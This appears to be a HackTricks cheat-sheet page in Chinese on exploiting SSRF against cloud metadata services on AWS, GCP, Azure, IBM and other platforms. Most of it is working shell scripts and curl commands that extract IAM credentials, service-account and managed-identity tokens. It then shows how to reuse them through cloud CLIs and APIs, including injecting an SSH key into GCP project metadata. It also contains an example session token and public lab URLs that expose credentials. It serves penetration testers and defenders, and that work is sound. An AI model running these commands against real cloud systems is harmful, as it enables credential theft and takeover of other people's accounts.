Cloud SSRF

支持 HackTricks

AWS

在 AWS EC2 环境中滥用 SSRF

元数据 端点可以从任何 EC2 机器内部访问,并提供有关它的有趣信息。它可以通过以下 URL 访问:http://169.254.169.254 (有关元数据的信息在这里)。

元数据端点有 2 个版本第一个 版本允许通过 GET 请求 访问 该端点(因此任何 SSRF 都可以利用它)。对于 版本 2IMDSv2,您需要通过发送带有 HTTP 头PUT 请求来请求 令牌,然后使用该令牌通过另一个 HTTP 头访问元数据(因此用 SSRF 滥用它 更复杂)。

请注意,如果 EC2 实例强制执行 IMDSv2,根据文档PUT 请求的响应 将具有 跳数限制为 1,使得无法从 EC2 实例内部的容器访问 EC2 元数据。

此外,IMDSv2 还将 阻止包含 X-Forwarded-For 头的请求以获取令牌。这是为了防止配置错误的反向代理能够访问它。

您可以在文档中找到有关 元数据端点的信息。在以下脚本中,从中获取了一些有趣的信息:

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

作为一个公开可用的IAM凭证暴露示例,您可以访问:http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

您还可以在以下地址检查公共EC2安全凭证http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

然后,您可以使用这些凭证与AWS CLI。这将允许您执行该角色有权限执行的任何操作

要利用新凭证,您需要创建一个新的AWS配置文件,如下所示:

[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

注意 aws_session_token,这是使配置文件正常工作的必要条件。

PACU 可以与发现的凭据一起使用,以找出您的权限并尝试提升权限。

AWS ECS(容器服务)凭据中的 SSRF

ECS 是一组逻辑上的 EC2 实例,您可以在其上运行应用程序,而无需扩展自己的集群管理基础设施,因为 ECS 为您管理这一切。如果您成功地攻陷在 ECS 中运行的服务,元数据端点会发生变化

如果您访问 http://169.254.170.2/v2/credentials/<GUID>,您将找到 ECS 机器的凭据。但首先,您需要 找到 <GUID>。要找到 <GUID>,您需要读取机器内部的 environ 变量 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI。 您可以通过利用 路径遍历 来读取它,路径为 file:///proc/self/environ。 提到的 http 地址应该会给您 AccessKey、SecretKey 和 token

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

注意,在某些情况下,您将能够从容器访问EC2元数据实例(请检查之前提到的IMDSv2 TTL限制)。在这些场景中,您可以从容器访问容器IAM角色和EC2 IAM角色。

AWS Lambda的SSRF

在这种情况下,凭据存储在环境变量中。因此,要访问它们,您需要访问类似**file:///proc/self/environ**的内容。

有趣的环境变量名称是:

  • AWS_SESSION_TOKEN

  • AWS_SECRET_ACCESS_KEY

  • AWS_ACCES_KEY_ID

此外,除了IAM凭据,Lambda函数在启动时还会有传递给函数的事件数据。这些数据通过运行时接口提供给函数,并可能包含敏感信息(例如在stageVariables中)。与IAM凭据不同,这些数据可以通过标准SSRF在**http://localhost:9001/2018-06-01/runtime/invocation/next**访问。

注意,lambda凭据环境变量中。因此,如果lambda代码堆栈跟踪打印环境变量,则可能通过在应用中引发错误来外泄它们

AWS Elastic Beanstalk的SSRF URL

我们从API中检索accountIdregion

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

我们然后从 API 中检索 AccessKeyIdSecretAccessKeyToken

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

然后我们使用凭据执行 aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/

GCP

您可以在这里找到有关元数据端点的文档

Google Cloud 的 SSRF URL

需要 HTTP 头 Metadata-Flavor: Google,您可以通过以下 URL 访问元数据端点:

  • http://169.254.169.254

  • http://metadata.google.internal

  • http://metadata

提取信息的有趣端点:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Beta 目前不需要头部(感谢 Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

为了使用被外泄的服务账户令牌,你可以直接执行:

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

添加 SSH 密钥

提取令牌

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

检查令牌的范围(使用之前的输出或运行以下命令)

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

现在推送 SSH 密钥。

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Cloud Functions

元数据端点的工作方式与虚拟机相同,但没有某些端点:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Digital Ocean

没有像 AWS 角色或 GCP 服务账户这样的东西,所以不要指望找到元数据机器人凭据

Documentation available at https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

文档 在这里

  • 必须包含头部 Metadata: true

  • 必须 包含 X-Forwarded-For 头部

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

Azure App Service

env 中,您可以获取 IDENTITY_HEADER IDENTITY_ENDPOINT 的值。您可以使用这些值来获取与元数据服务器通信的令牌。

大多数情况下,您需要为以下资源之一获取令牌:

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet

IBM Cloud

请注意,在IBM中,默认情况下元数据未启用,因此即使您在IBM云虚拟机内,也可能无法访问它

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

以下是各种平台元数据服务的文档,突出显示了可以访问实例的配置和运行时信息的方法。每个平台提供独特的端点来访问其元数据服务。

Packetcloud

要访问Packetcloud的元数据,可以在以下位置找到文档:https://metadata.packet.net/userdata

OpenStack/RackSpace

这里没有提到需要头部。可以通过以下方式访问元数据:

  • http://169.254.169.254/openstack

HP Helion

这里也没有提到需要头部。元数据可以在以下位置访问:

  • http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud提供了一系列端点以访问各种元数据方面:

  • http://192.0.0.192/latest/

  • http://192.0.0.192/latest/user-data/

  • http://192.0.0.192/latest/meta-data/

  • http://192.0.0.192/latest/attributes/

Alibaba

Alibaba提供了访问元数据的端点,包括实例和镜像ID:

  • http://100.100.100.200/latest/meta-data/

  • http://100.100.100.200/latest/meta-data/instance-id

  • http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD可以保存API密钥、内部IP地址和端口。访问示例如下:

  • curl -L http://127.0.0.1:2379/version

  • curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Docker元数据可以在本地访问,以下是获取容器和镜像信息的示例:

  • 通过Docker套接字访问容器和镜像元数据的简单示例:

  • docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash

  • 在容器内,使用curl和Docker套接字:

  • curl --unix-socket /var/run/docker.sock http://foo/containers/json

  • curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

可以使用以下方式访问Rancher的元数据:

  • curl http://rancher-metadata/<version>/<path>

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